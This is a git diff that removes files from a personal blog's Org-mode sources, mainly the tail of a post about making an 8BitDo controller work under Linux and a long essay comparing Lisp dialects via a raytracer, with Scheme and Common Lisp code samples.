-#!/usr/bin/env python - -import usb.core -import usb.util - -dev = usb.core.find(find_all=True) - -for d in dev: - if d.idVendor == 0x2dc8 and d.idProduct == 0x3106: - d.detach_kernel_driver(0) - d.write(0x02, '\x01\x03\x02') - print(d.read(0x02, 0x64)) - usb.util.dispose_resources(d) - d.attach_kernel_driver(0) -#+END_SRC - -And, indeed, it does. On both my workstation and my media center, if I run this script after the controller gives up on its detection routine, it miraculously begins to work. - -Now, running a Python script manually (or even via =udev= rule) is an unappealing solution to me, so I [[https://en.wikipedia.org/wiki/Law_of_the_instrument][reached for the hammer]] to nail down a (marginally) solution. - -#+BEGIN_SRC diff -@@ -1936,7 +1936,7 @@ static void xpad_led_disconnect(struct usb_xpad *xpad) { } - - static int xpad_start_input(struct usb_xpad *xpad) - { -- int error; -+ int error, status; - - if (xpad->xtype == XTYPE_XBOX360) { - error = xpad_start_xbox_360(xpad); -@@ -1947,6 +1947,13 @@ static int xpad_start_input(struct usb_xpad *xpad) - if (usb_submit_urb(xpad->irq_in, GFP_KERNEL)) - return -EIO; - -+ status = usb_interrupt_msg(xpad->udev, usb_sndintpipe(xpad->udev, 2), "\x01\x03\x02", cpu_to_le16(3), 0, 10000); -+ -+#ifdef DEBUG -+ dev_dbg(&xpad->intf->dev, -+ "JLK: %s - interrupt message 1 returned %d\n", __func__, status); -+#endif -+ - if (xpad->xtype == XTYPE_XBOXONE) { - error = xpad_start_xbox_one(xpad); - if (error) { -#+END_SRC - -Despite seeing the "magic packet" in Wireshark traces now, I was still seeing the same disconnect/connect behavior. And after panicking my running kernel a couple of times seeing where else I could try to put my hack, I decided to take a more methodical approach. Surely, if the stack for this driver on SteamOS is the same as it is in upstream Linux, then there's some code in my worktree that sends the =01 03 02= sequence. Let's try to find that, and determine why it isn't firing. - -We don't have to search far. I found what I was looking for in about 15 minutes. - -#+BEGIN_SRC c -... -/* - ,* set the LEDs on Xbox360 / Wireless Controllers - ,* @param command - ,* 0: off - ,* 1: all blink, then previous setting - ,* 2: 1/top-left blink, then on - ,* 3: 2/top-right blink, then on - ,* 4: 3/bottom-left blink, then on - ,* 5: 4/bottom-right blink, then on - ,* 6: 1/top-left on - ,* 7: 2/top-right on - ,* 8: 3/bottom-left on - ,* 9: 4/bottom-right on - ,* 10: rotate - ,* 11: blink, based on previous setting - ,* 12: slow blink, based on previous setting - ,* 13: rotate with two lights - ,* 14: persistent slow all blink - ,* 15: blink once, then previous setting - ,*/ -static void xpad_send_led_command(struct usb_xpad *xpad, int command) -{ - struct xpad_output_packet *packet = - &xpad->out_packets[XPAD_OUT_LED_IDX]; - unsigned long flags; - - command %= 16; - - spin_lock_irqsave(&xpad->odata_lock, flags); - - switch (xpad->xtype) { - case XTYPE_XBOX360: - packet->data[0] = 0x01; - packet->data[1] = 0x03; - packet->data[2] = command; - packet->len = 3; - packet->pending = true; - break; -... -#+END_SRC - -Hm.. that looks interesting. And it wouldn't be firing because... - -#+BEGIN_SRC prog -jakob@endseal /usr/src/linux $ grep XPAD_LED .config -# CONFIG_JOYSTICK_XPAD_LEDS is not set -#+END_SRC - -Ah. - -Sure enough, recompiling =xpad= with =CONFIG_JOYSTICK_XPAD_LEDS= resolves the issue. - -What did we learn, then? That the 8BitDo Ultimate Controller firmware detects that it's plugged into a PC by... seeing if the USB host tries to turn its home button LED on. - -Neat. I spent my Sunday morning elucidating the world with this useless fact. - -Now, if you'll excuse me, I'll be using one of these four controllers to play [[https://www.mobygames.com/game/3528/goldeneye-007/][GoldenEye 64]]. By myself, mind you, because I live alone and have no friends.[fn:4] - ---- - -[fn:1] I also want to believe that putting something out there will help to ameliorate my case of chronic Writer's block -- even if it isn't as grandiose as the articles I typically publish here. - -[fn:2] This is a more consumer-friendly way of communicating that the hardware works under GNU/Linux. - -[fn:3] That StackExchange page explains how to do this with command-line arguments, but I prefer to hot-plug USB devices with QEMU so I can connect and disconnect devices without having to restart the virtual machine. I specified =-monitor stdio -usb= on the command line so that I would have the [[https://en.wikibooks.org/wiki/QEMU/Monitor#usb_add][QEMU monitor]] accessible, and a =usb-host= device allocated to the guest, and I then passed through my USB port with the monitor command =device_add usb-host,hostbus=3,hostport=1.1,id=...= - -[fn:4] This is tongue-in-cheek. No need to worry about whether I'm doing okay. This, as well as the title, are jocular nods at the stereotype that GNU/Linux users are socially awkward. diff --git a/org/The Many Faces of an Undying Programming Language/Lisp Kludge.png b/org/The Many Faces of an Undying Programming Language/Lisp Kludge.png deleted file mode 100644 index 9c244b9..0000000 Binary files a/org/The Many Faces of an Undying Programming Language/Lisp Kludge.png and /dev/null differ diff --git a/org/The Many Faces of an Undying Programming Language/lisp-personality-test.png b/org/The Many Faces of an Undying Programming Language/lisp-personality-test.png deleted file mode 100644 index c3a26f3..0000000 Binary files a/org/The Many Faces of an Undying Programming Language/lisp-personality-test.png and /dev/null differ diff --git a/org/The Many Faces of an Undying Programming Language/thoughts-on-lisps.org b/org/The Many Faces of an Undying Programming Language/thoughts-on-lisps.org deleted file mode 100644 index 7ac53ce..0000000 --- a/org/The Many Faces of an Undying Programming Language/thoughts-on-lisps.org +++ /dev/null @@ -1,1067 +0,0 @@ -#+TITLE: The Many Faces of an Undying Programming Language -#+DATE: <2020-07-20 Mon 09:16> -#+TAGS: opinion, programming, lisp, common-lisp, scheme - -# I ran a [[https://mastodon.sdf.org/web/statuses/104497642847404947][poll]] on Mastodon the other day, and fewer than one fifth of the respondents indicated only knowing one dialect of Lisp. Perhaps I should have followed up and asked how many self-identified as "Lisp hackers", but I don't think it would be unfair to assume that at least some of those working with several Lisps choose to do so because they enjoy the basic properties upon which Lisp dialects are constructed. - -This is a post I've been meaning to write for a while now: one anecdotally -comparing programming languages in the Lisp family. I consider myself to be a -Lisp hacker. Perhaps that much was obvious from the letter λ adorning my -website's header, a reference to the λ-calculus which inspired John McCarthy to -design the first LISP [1]. Yet, "Lisp hacker" likely means little unless you, -too, consider yourself to be a Lisp hacker. Calling yourself one seems carry -some level of unstated meaning. Indeed, some identify with more specific groups. -"Schemer," or "Guiler," or "Racketeer," or "Clojurist." But "Lisp Hackers" ⊇ -"Schemers". There is commonality shared among all, or at least most, of these -programming languages, and the Lisp hackers recognize and appreciate that -commonality -- the characteristics that make a programming language a Lisp. -Homoiconic syntax, powerful metaprogramming facilities, and editor support that, -in my opinion, is unparalleled. (Yes, I am alluding to GNU Emacs.) This article, -however, is concerned with the differences. In it, I will be considering the -specifics of each dialect, and whether or not those specifics make for a -language I would want to use to develop a new piece of software. - -I'm specifically concerned with game development at the time of writing this -article. An idea for a turn-based tactics game came to me and I felt a Lisp -would be the best tool for realizing it, but the decision to use "a Lisp" still -leaves me with several choices. When I enumerate the notable design choices -behind each dialect, and talk about the approaches I prefer, my opinions will -be, in some capacity, framed as partial answers to the question of "will I be -able to comfortably use this to write a video game?" As such, there are a few -things I am specifically interested in: - -- *Ergonomics*, or "a measure of the friction [one experiences] when trying to get - things done" [2]. -- *Expressiveness*, or the ease with which code may be understood by a reader. -- *Performance*, which is nontrivial to properly quantify [3]. I won't be rigorous - with this; a one-off run with =time= can give a good idea of the order of - magnitude for execution time. -- *Ease of distribution*, which is difficult to define, but with which I associate - platform agnosticism, a runtime that won't bloat my tarballs by several - gigabytes, and a lack of baroque and difficult to obtain dependencies. -- *Ability to interface with other libraries*, as I'll want to be able to - draw to the screen, and play sounds, and so on. - -For each dialect, I'm allowing myself to use nonstandard functions. I'm aiming -for an evaluation of the practical aspects of each language, and if you were -writing software, you'd likely be using more than what's included in the R5RS or -ANSI CL standards. Though, if these nonstandard functions are specific to a -single implementation, I will avoid them. SRFI's and QuickLisp are fair game, -but CHICKEN's Eggs are not. Ah, I'm already getting ahead of myself. Yes, I will -be comparing Scheme and Common Lisp. I almost have to -- the history of Lisp -tends to be spun as a schism between Common Lisp and Scheme. I will be speaking -of a few others as well. I've mostly chosen dialects for which there exists some -"game engine" type library. For R7RS (CHICKEN), there is [[http://alex-charlton.com/projects/Hypergiant/][Hypergiant]], for R6RS -(Guile) there is [[https://dthompson.us/projects/chickadee.html][Chickadee]], for Common Lisp there is [[http://www.xelf.me/][Xelf]], and for Fennel there -is, of course, [[https://love2d.org/][LÖVE]]. - -#+CAPTION: My take on the drawing in Conrad Barski's /Land of Lisp/. From left to right: Common Lisp, Scheme, +Haskell+ Fennel. -[[file:lisp-personality-test.png]] - -What follows are my opinions, so I'd like to lead with the background that -motivated them. My earliest "serious" experience with Lisp was with Peter -Seibel's /Practical Common Lisp/, which I picked up in high school following a -failed attempt at reading /Structure and Interpretation of Computer -Programs/.[fn:1] The portion of the latter book that I did manage was enough to -convince me that learning _a_ Lisp would be valuable, but that learning Common -Lisp may be more tractable than learning Scheme. The summer following my first -year of university, I taught myself Scheme to do [[http://summerofcode.withgoogle.com/][GSoC]] for [[https://guix.gnu.org/][GNU Guix]]. Guile -quickly grew on me, and I soon began [[http://jakob.space/blog/transition-to-haunt.html][using Haunt]] for my personal website. I've -been unknowingly using Emacs Lisp since much earlier -- not in the sense of -writing packages -- my old man taught me how to use Emacs when I was nine, but I -was [[https://www.gnu.org/software/emacs/manual/html_node/emacs/Easy-Customization.html][mostly shielded from having to write =setq= forms]]. I've also used [[https://docs.hylang.org/en/stable/][Hy]], [[https://fennel-lang.org/][Fennel]], -... well, I'm wildly off track now. Point being, I've used many Lisps, and I've -subconsciously acknowledged the differences between them, but never turned that -acknowledgment into coherent thought. - -To aid in the comparison, I've written the same raytracer in several dialects of -Lisp. My reasons for choosing a raytracer are that: - -- I'm reasonably familiar with how they work. -- Performance matters, and differences in performance is noticeable. -- It's nontrivial, but several implementations of a raytracer is also more - tractable than, say, several implementations of a high-performance database. - -Another consideration was the number of advancements in raytracing that build -upon the same basic structure, potentially giving me a way to compare the ease -with which a change to a system can be made, but writing these raytracers took -enough out of me that I didn't want to play with them any more. - -This was not nearly as telling of a comparison as I had hoped. Once I'd -completed the first raytracer, everything that followed had the same structure. -Regardless, writing these raytracers gave me an idea of the characteristics I -was interested in, especially performance. For anyone who would like to look at -the code, the implementations are available [[https://git.sr.ht/~jakob/lisp-raytracer-zoo][here]]. - -*Table of Contents* - -- [[*The Issue of Rendering an Image][The Issue of Rendering an Image]] -- [[*Scheme][Scheme]] - - [[*R7RS][R7RS]] - - [[*R6RS][R6RS]] - - [[*Conclusions on Scheme][Conclusions on Scheme]] -- [[*Common Lisp][Common Lisp]] - - [[*Conclusions on Common Lisp][Conclusions on Common Lisp]] -- [[*Fennel][Fennel]] - - [[*Conclusions on Fennel][Conclusions on Fennel]] -- [[*Lisps I've Neglected][Lisps I've Neglected]] - - [[*Emacs Lisp][Emacs Lisp]] - - [[*Gerbil Scheme][Gerbil Scheme]] - - [[*Racket][Racket]] - - [[Janet][Janet]] - - [[*Clojure][Clojure]] - -* The Issue of Rendering an Image - -Well, if we're writing a raytracer, then, we had better have some way of seeing -the results. The issue is portability. Ideally, I'd like to be able to run the -raytacers on different implementations of each language, but none of them have -standardized support for drawing graphics. An idea I had was to render the image -to the terminal using ANSI escape sequences, but I thought the resulting images -would be quite shitty. Instead, I decided to go the [[https://github.com/ssloy/tinyrenderer/wiki/Lesson-0-getting-started][route that tinyrenderer -takes]], which is to output to an image file. Initially, the image format I went -with was the venerable PNG. This was a mistake. Even if it did lead to a rather -elegant CRC procedure in Scheme. - -#+BEGIN_SRC scheme -(define (chunk-crc bytes) - (define (process-byte crc byte) - (bitwise-xor (vector-ref png-crc (bitwise-and #xff (bitwise-xor crc byte))) - (arithmetic-shift crc -8))) - (reduce process-byte bytes #xffffffff)) -#+END_SRC - -Realizing PNG was needlessly complex, I went on to write a [[https://git.sr.ht/~jakob/lisp-raytracer-zoo/tree/master/write-bmp.scm][BMP encoder]], which -was fine until I came across [[https://nullprogram.com/blog/2017/11/03/][an article]] from Chris Wellons about rendering video -with C by encoding frames as [[http://netpbm.sourceforge.net/doc/][Netpbm]] images. I decided to scrap my BMP encoder -and go with PPM instead. Netpbm is text-based: the issue with a PNG or BMP -encoder in Scheme, for example, is that you're dealing with a binary format. -Glancing over the standards now, it seems there are, indeed, standardized -procedures for dealing with binary data in both R6RS and R7RS. Regardless, -dealing with those binary structures and having to consider endianness is a -pain. PPM is _dead_ simple. In fact, I'd wager that if all you had access to were -the examples on the [[https://en.wikipedia.org/wiki/Netpbm][Wikipedia]] page, you'd be able to write an encoder. Here's -the Scheme implementation: - -#+BEGIN_SRC scheme -(define (write-ppm width height pixels) - "Encode the WIDTH by HEIGHT image given as PIXELS into the portable pixmap -format (PPM), writing the result to `(current-output-port)'." - (define (delimit-values values) - (cond ((null? values) - (newline)) - ((= 1 (length values)) - (display (car values)) - (delimit-values (cdr values))) - (else - (display (car values)) - (display " ") - (delimit-values (cdr values))))) - - ;; Magic - (delimit-values '("P3")) - - ;; Dimensions - (delimit-values (list width height)) - - ;; Depth - (delimit-values '("255")) - - ;; Image contents - (for-each delimit-values (vector->list pixels))) -#+END_SRC - -If you do away with my nice formatting, that's twelve lines of code, all of -which are R5RS-compatible. We have access to the Netpbm suite, too, so if we -want a PNG, we can always =./write-ppm | pnmtopng > test.png=. Netpbm is a -real hidden gem. Well, hidden to me, at least. - -* Scheme - -If you aren't familiar with Scheme, it has somewhat of a self-imposed[fn:2] -reputation for appealing to academic types. It's also one of the most -opinionated languages I know of; all the specs of interest lead with an -assertion that "programming languages should be designed not by piling feature -on top of feature, but by removing the weaknesses and restrictions that make -additional features appear necessary." The way that Scheme embraces purity and -simplicity makes it clear it was designed by math nerds. (Hey, I'm a math nerd, -too. Take it easy.) - -As I've just mentioned, there are specs. A few, to be sure. The evolution of -Scheme standards begins in a linear fashion: RRS → RRRS → R3RS → R4RS → R5RS. I -like to think of this as "classic Scheme". But when it came time to revise R5RS, -the ratification of the subsequent R6RS caused some controversy. It was -"bloated", or whatever. Something like that. So when it came time to design R7RS -(small), the Scheme Language Steering Committee decided to let the language -fork, beginning with the earlier R5RS as a blank slate [4]. That way, the nerds -that hated everything about R6RS could have their way, and the nerds that liked -R6RS could have their way. Scheme was divided, but at peace. Oh, and nowadays -there's a work-in-progress [[https://bitbucket.org/cowan/r7rs-wg1-infra/src/default/R7RSHomePage.md][R7RS-large]]. ಠ_ಠ - -I'm not going to talk about R7RS-large here. It's just too new. - -The standards are all extremely short. R5RS is 50 pages. R7RS is larger (n ≈ 88) -[11], and R6RS is quite a bit larger (n ≈ 163) [11], but they still clock in at -fewer pages than any other language spec I know of. You can't pack a whole lot -into 50 pages, so there is a de-facto standard library: [[https://srfi.schemers.org/][Scheme Requests for -Implementation]], or SRFI. - -** R7RS - -Because I'm slightly biased towards R6RS, I began this journey with R7RS, -thinking that returning to the problem with R6RS instead would give me a sense -of how much it really brings to the table. There are [[https://small.r7rs.org/wiki/ImplementationSupport/][a few implementations]] of -R7RS out in the wild. The one I tried was [[http://call-cc.org/][CHICKEN]], which is not officially an -R7RS Scheme, but supports the R7RS standard as an Egg (library). It took some -effort, but I did get =company-mode= & friends working in Emacs for CHICKEN. The -[[https://wiki.call-cc.org/faq#how-can-i-install-chicken-eggs-to-a-non-default-location][documentation]] for installing Eggs to a non-default location is out-of-date, but -if you copy the system libraries to your =CHICKEN_INSTALL_REPOSITORY=, you'll be -fine. A minor complaint regarding Geiser (or more accurately, =scheme-mode=): it -doesn't seem to be able to properly highlight or indent user-defined macros. -Perhaps that's something I could fix someday. - -A disadvantage to picking a hobbyist Scheme implementation is that they aren't -battle-hardened. In writing this post, I managed to discover [[http://bugs.call-cc.org/ticket/1703][a regression]] in the -latest version of CHICKEN, where my procedure was being called with parameters -in the wrong order. So, at least for this article, I am using 4.13.0. Gentoo -also doesn't have Chicken 5 yet, but in terms of stability, perhaps that's a -good thing. - -So, what does R7RS add to "classic Scheme" that I care about? - -- Standardized records. -- Standardized bytevectors. -- A way of defining libraries. -- =parameterize=, which is something I dealt with in Guix that I'd nearly - forgotten about. If you aren't familiar with it, the best way I can describe - it is a way of emulating dynamic scope. -- =when= and =unless=, which are trivial to implement yourself, but it's always nice - not having to write them. -- =case-lambda=. -- =vector-map=, =vector-for-each=. - -There's more to R7RS, of course, but these are the things that stand out to me. -The spec has a section starting on page 77 titled "Language Changes" which -outlines the incompatibilities with R5RS and R6RS, as well as the additions to -R5RS. - -On the topic of the R7RS spec, I think it's worth reading for anyone who -produces technical writing in some capacity, even if you don't care much for -Scheme -- much like how K&R[fn:3] is worth reading even if you don't care about -C -- they're both great examples of writing that's concise, but doesn't -sacrifice comprehensibility. The design choices are also quite well thought-out, -and I think that's worth appreciating. For example, they support only the file -system operations which are universally portable [5]. This means no support for -creating or manipulating directories. Such a restriction may sound primitive, -but the common alternative in providing a portable filesystem abstraction is -[[https://fasterthanli.me/articles/i-want-off-mr-golangs-wild-ride][rather unpleasant]]. If you need to be manipulating directories in such a way, -seek a POSIX interface rather than a filesystem interface. - -The hygenic macro system has been in Scheme since R5RS, but this was the first -time I'd actually used it. I've written plenty of macros in Common Lisp and -Emacs Lisp with =defmacro=, but this was a breath of fresh air. - -#+BEGIN_SRC scheme -(define-syntax vec3-bind - (syntax-rules () - ((vec3-bind ((names vec) ...) - body) - (let-values ((names (values (vec3-x vec) - (vec3-y vec) - (vec3-z vec))) - ...) - body)))) -#+END_SRC - -This worked on the first try. Once you read a [[http://www.willdonnelly.net/blog/scheme-syntax-rules/][tutorial]] on it, it's more -intuitive than building an AST "by-hand". Here's a slightly less trivial -example: - -#+BEGIN_SRC scheme -(define-syntax maybe-bind - (syntax-rules () - ((maybe-bind ((name option) ...) - body) - (if (every is-some? (list option ...)) - (let ((name (unwrap option)) - ...) - body))))) -#+END_SRC - -I know, I know. This isn't the proper way to deal with an option type. I should -have brushed up on the =mlet*= implementation in Guix. But this sufficed for what -I needed to do. - -Come to think of it, my choice to create an option type for a dynamically-typed -language is a bit strange, no? Rust has apparently left me yearning for the -ability to =map= over things which are logically equivalent to options, and [[https://srfi.schemers.org/srfi-2/srfi-2.html][SRFI-2]] -and the likes didn't cross my mind at the time I wrote this. - -All in all? Writing a raytracer in vanilla R7RS was reasonably easy. My biggest -gripe was debugging. CHICKEN has essentially no stack traces. It has a "call -history", but that gives very little context for where something's being called -/from/. No line numbers, either. - -** R6RS - -R7RS actually draws quite a bit from R6RS, and both are, for the most part, -backwards-compatible with R5RS. So I /should/ be able to run the R7RS version of -my raytracer with an R6RS implementation like Chez, right? For the most part, -yeah. I needed to deal with exactly two things: =error= now takes a "who" -parameter, and the R7RS =define-record-type= is almost nothing like the equivalent -in R6RS. - -This isn't represented in the more recent commits, but there were also a few -nonstandard things in CHICKEN I was depending on that needed to be changed. In -Chez, and other Schemes, nested =defines= need to be the absolute first thing in -the form. This was incompatible with the little documentation strings I'd put at -the beginning of my procedures, which, in the implementations that I'm using, -[[https://mdhughes.tech/2018/11/18/inline-documentation-or-lack-thereof-in-scheme/][don't do anything anyway]]. I was also using SRFI-1's =every=, but I replaced that -with a call to a standard R6RS procedure of a different name. - -On the topic of R6RS records, they end up being quite a bit less verbose than -R7RS. This is how a record definition appears in R7RS: - -#+BEGIN_SRC scheme -(define-record-type - (make-vec3 x y z) - vec3? - (x vec3-x) - (y vec3-y) - (z vec3-z)) -#+END_SRC - -And this is how the equivalent record definition appears in R6RS: - -#+BEGIN_SRC scheme -(define-record-type vec3 (fields x y z)) -#+END_SRC - -You wouldn't guess it from the above example, but the =define-record-type= in R6RS -is very flexible. The above is shorthand for - -#+BEGIN_SRC scheme -(define-record-type (vec3 make-vec3 vec3?) - (fields - (immutable x vec3-x) - (immutable y vec3-y) - (immutable z vec3-z))) -#+END_SRC - -Göran Weinholt wrote [[https://weinholt.se/articles/r7rs-vs-r6rs/][an article]] comparing R7RS and R6RS. In it, he mentions that -the reason for R7RS's =define-record-type= verbosity is that the macro system is -incapable of creating new identifiers. Another point for =syntax-case= in my book. -His article also mentions offhandedly that the R6RS record system has been -criticized, but I can't find any in the [[http://www.r6rs.org/formal-comments/][formal comments]] or elsewhere. I think it -kicks ass. - -Much like R7RS, there is a section in the R6RS spec dedicated to "language -changes." This is Appendix E, for those of you following along at home, which is -surprisingly similar to the equivalent section in R7RS. They seemed to aim to -scratch the same itch -- allowing large, non-trivial programs to be written in -Scheme -- in slightly different ways. - -Unlike R7RS, R6RS has a standard =reduce= procedure.[fn:5] Well, by a different -name. It has =fold-left= and =fold-right=, the more general versions of =reduce=. Like -=when= and =unless=, =reduce= is trivial to implement yourself, but it's nice to have -it at the fingertips. - -#+BEGIN_SRC scheme -(define (reduce proc list init) - (define (reduce-iter list result) - (if (null? list) - result - (reduce-iter (cdr list) (proc result (car list))))) - (reduce-iter list init)) -#+END_SRC - -Ah, yes. This is some very [[https://erkin.party/blog/200715/evolution/][typical]] Scheme code. I haven't mentioned it yet, but -Scheme implementations are required to be [[https://en.wikipedia.org/wiki/Tail_call][tail-recursive]] [6]. The above -procedure should compile to a good ol' =jnz= loop on AMD64. I.e. =reduce-iter= does -not actually perform a function call to itself. - -=(rnrs lists (6))= has most of the SRFI-1 procedures I care about. There's =for-all= -instead of =every=, which I initially thought was too close to =for-each= for my -tastes, until I realized the symmetry with =exists= (the two functions represent ∀ -and ∃ in [[https://en.wikipedia.org/wiki/Propositional_calculus][propositional logic]]). R6RS has all the cool stuff from R7RS, like =when=, -=unless=, =case-lambda=, and [[http://www.r6rs.org/final/html/r6rs-lib/r6rs-lib-Z-H-9.html#node_sec_8.2.10][string ports]]. - -The differences between the R7RS and R6RS library systems are, to my -understanding, small. R6RS requires =export= and =import= forms at the beginning of -the library, in that order, but the import and export specs are essentially the -same (=except=, =rename=, ...). - -Performance-wise, Chez is quite a bit better than CHICKEN. - -#+BEGIN_SRC prog -jakob@Epsilon ~ $ time bash -c './r6rs-raytracer > test.ppm' - -real 0m13.665s -user 0m11.645s -sys 0m1.875s - -jakob@Epsilon ~ $ time bash -c './r7rs-raytracer > test2.ppm' - -real 1m12.259s -user 1m11.515s -sys 0m0.598s -#+END_SRC - -where 'r6rs-raytracer' was produced by [[https://github.com/gwatt/chez-exe][chez-exe]] at opt-level 3. The main thing -CHICKEN has going for it is that the Chez executable is "big-boned". - -#+BEGIN_SRC prog -jakob@Epsilon ~ $ strip r6rs-raytracer -jakob@Epsilon ~ $ du -sh r6rs-raytracer -1.7M r6rs-raytracer - -jakob@Epsilon ~ $ strip r7rs-raytracer -jakob@Epsilon ~ $ du -sh r7rs-raytracer -236K r7rs-raytracer -#+END_SRC - -Nearly all of that is coming from including 'petite.boot' verbatim. If I cared -enough to shave that down, I could probably write a tool to do whole-program -dead-code analysis with my code and the boot file sources, but 1.7 megabytes -doesn't make me vomit. It wouldn't fit on a floppy disk, but I've seen Go -binaries that are on the order of gigabytes in size, so it could be worse. - -CHICKEN isn't the fastest R7RS implementation out there, and I was using an -older version of it anyway, so take this hand-wavy benchmark with a grain of -salt. If you consider the Larceny benchmark suite to be a fair comparison, then -[[https://ecraven.github.io/r7rs-benchmarks/][this page]] would suggest that the Gerbil [[https://cons.io/guide/r7rs.html][implementation of R7RS]] is, in general, -faster than the Chez implementation R6RS. The main take-away of that page to me -is that there are fast implementations of both standards. - -The stack trace situation on Chez is even worse than it is with CHICKEN, -unfortunately. Guile is better, but the last time I used it for Guix, variables -being optimized out gave me a massive headache. I yearned for a simple -AST-walking interpreter version. As of a month ago, Andy Wingo has conjured up -something [[https://wingolog.org/archives/2020/06/03/a-baseline-compiler-for-guile][close enough]], but I haven't had the opportunity to try it out yet. - -** Conclusions on Scheme - -Scheme is enjoyable to use. R7RS and R6RS are both quite bare-bones, so I feel I -would need to spend time familiarizing myself with either a subset of the -published SRFI's, or another "utility library" such as Gule's ice-9 to be -productive. R6RS seems to be the nicer of the two from a programmer's -perspective, but they're similar enough that I can see myself being reasonably -happy in either. If I'm going to use a Scheme, the real question is going to be -"which implementation will I use?", which will in turn answer the question of -which standard my code will conform to. - -* Common Lisp - -To my understanding, there isn't an oversimplified stereotype for Common Lisp -hackers in the same way that there is for Schemers. But I think most would agree -Common Lisp is an approach to Lisp that favors pragmatism as opposed to purity --- which isn't to imply that practical software cannot be written in Scheme. -Like Scheme, Common Lisp is standardized. It's 1,100 pages long [7]. For -reference, the C++17 draft is 1,605 pages long [8]. It isn't a pretty language. -The design was an attempt to unify several older dialects of Lisp. - -#+CAPTION: This self-inflicted joke has become obligatory when speaking about Common Lisp in the context of code aesthetics. -[[file:Lisp Kludge.png]] - -Common Lisp tends to be a good choice for when performance matters. With proper -declarations, its performance is comparable to C [12]. It isn't a common choice -in industry, but there are a few notable success stories. ITA (now Google -Flights) is the one I know about most, as I had a student who was a program -manager for that when I taught as a drum line instructor. There's also Grammarly -and the [[http://flownet.com/gat/jpl-lisp.html][DS1 Remote Agent system]] from NASA's Jet Propulsion Lab. That much would -seem to suggest it'd be an okay choice for my purposes. But this isn't new to -me; I've known that CL is a good choice in that respect for a while now. I'm a -bit more interested in how it fares in terms of language ergonomics and -expressiveness. For starters, =write-ppm= can be quite a bit more compact in -Common Lisp. - -#+BEGIN_SRC common-lisp -(defun write-ppm (width height pixels) - (format t "P3~%~{~a ~}~%255~%~{~{~a ~}~%~}~%" - (list width height) - (coerce pixels 'list))) -#+END_SRC - -I'm being facetious. This works fine, but it's also more or less showing off for -the purpose of showing off. - -I am a little disappointed that the =(coerce pixels 'list)= is necessary. Vectors -are proper sequences in Common Lisp, but =~{~}= only works on lists. Ah, well. -It's disgusting. Don't do it. Here's a more readable implementation: - -#+BEGIN_SRC common-lisp -(defun write-ppm (width height pixels) - "Encode the WIDTH by HEIGHT image given as PIXELS into the portable pixmap -format (PPM), writing the result to `*standard-output*'." - (write-line "P3") - (format t "~a ~a~%" width height) - (write-line "255") - (loop for (r g b) across pixels - do (format t "~a ~a ~a~%" r g b))) -#+END_SRC - -which is still more concise and, arguably, a bit clearer than my Scheme version. -I'm using two behemoths here, =format= and =loop=, which Peter Siebel describes as -the two most controversial features in the language [9]. - -Oh, notice that string I've put at the beginning of the procedure? Here's -something no Scheme implementation I know of besides Guile can do: - -#+BEGIN_SRC common-lisp -CL-USER> (documentation #'write-ppm 'function) -"Encode the WIDTH by HEIGHT image given as PIXELS into the portable pixmap -format (PPM), writing the result to `(current-output-port)'." -#+END_SRC - -So CL has a few niceties off the bat. Many of the "core" forms are shared -between Scheme and Common Lisp, so code tends to be reasonably similar.[fn:4] -Aside from Scheme tending towards the idioms of other functional programming -languages and Common Lisp code often being more or less imperative, there are a -few noticeable differences: - -- Common Lisp supports dynamic scoping, and this is the default for variables - defined at the top-level with =defvar= and =defparameter=. This is usually an - advantage in the code I've read. I think Parenscript's [[https://gitlab.common-lisp.net/parenscript/parenscript/-/blob/master/src/compiler.lisp][compiler.lisp]] is a good - example of this. Dynamic scope does necessitate the =*earmuffs*= naming - convention, however, much like how preprocessor macros in C are =ALL_CAPS= -- in - the interest of keeping your feet free of bullet holes, you want to know when - you're messing with a "special" variable. -- Common Lisp is a [[http://www.nhplace.com/kent/Papers/Technical-Issues.html][Lisp-2 rather than a Lisp-1]]. What this means is that there - are separate namespaces for functions and variables. So if you want to treat a - function named =FOO= as a value, you need to write it as =#'FOO=, and if you want - to call a variable named =FOO= which refers to a function, you will need to - =(FUNCALL FOO)=. In Scheme, =FOO= is either a function or some other value, not - both. So you can refer to =FOO= as a value when it names a function, and you can - invoke it merely as =(FOO)=. -- No proper booleans. Like in C, anything that is not =nil= (=NULL=), the empty - list, is considered to be a truthy value. - -I really enjoyed having =with-accessors= (well, I used =with-slots= for no good -reason). If there were something like that in the Scheme standard, I probably -would have used that instead of my =vec3-bind= macro. Though, I think the /best/ way -of dealing with destructuring things like vectors is pattern matching. - -CLOS is very cool. In my Scheme implementation of the raytracer, I had a few -procedures like this: - -#+BEGIN_SRC scheme -;; If RAY intersects SHAPE with T-MIN ≤ t ≤ T-MAX, return (some . t). Otherwise, -;; return 'none. -(define (intersect ray shape t-min t-max) - (let ((proc (cond ((plane? shape) intersect-plane) - ((sphere? shape) intersect-sphere)))) - (proc ray shape t-min t-max))) -#+END_SRC - -"Explicit dispatch," in SICP terms [13]. I like the data-directed style that -CLOS offers, and I would have used it in my Scheme implementation if there were -standard facilities to support it. Oh, and there was a built-in =PI= constant! In -the Scheme implementation I had to copy an approximation from somewhere. - -#+BEGIN_SRC scheme -;; Convert D, a value in degrees, to radians. -(define (degrees->radians d) - (let ((pi 3.1415926535897932384626433)) - (* d (/ pi 180)))) -#+END_SRC - -I realize that dealing with π isn't common, but if =cos= and =tan= are going to be -included in the standard, why can't =pi=? - -Oh, and having *proper stack traces* was a breath of fresh air. - -Sadly, that's where the niceties end. =t= is a typical name for the variable in a -[[https://web.mit.edu/alexmv/6.037/sicp.pdf][parametric equation]], but it's also the name of the canonical "true" value in CL, -so you can't use it as the name of a parameter. - -#+BEGIN_SRC prog -error: - COMMON-LISP:T names a defined constant, and cannot be used in - an ordinary lambda list. -#+END_SRC - -There was a name clash with =some=, so I had to change the names of my option type -constructors to =make-some= and =make-none=. Also, the shading equation I'm using -gives materials a $p$ parameter, which ends up being a very unfortunate -parameter name for a CL struct. - -#+BEGIN_SRC prog -style-warning: - The structure accessor name MATERIAL-P is the same as the name of the structure - type predicate. ANSI doesn't specify what to do in this case. We'll overwrite - the type predicate with the slot accessor, but you can't rely on this behavior, - so it'd be wise to remove the ambiguity in your code. -#+END_SRC - -Names in Scheme are much nicer than Common Lisp -- here, =MATERIAL-P= is the name -of the predicate function (which tells you if a value is a material). In Scheme, -it would be =material?=. Another difference in naming convention is that Common -Lisp hackers, for some reason, avoid using =->= to denote conversions (i.e. -=degrees->radians=) like you see in Scheme code. It's an aesthetic preference, but -I like Scheme's way of doing it better. - -The library situation with CL is... a bit complex for me. 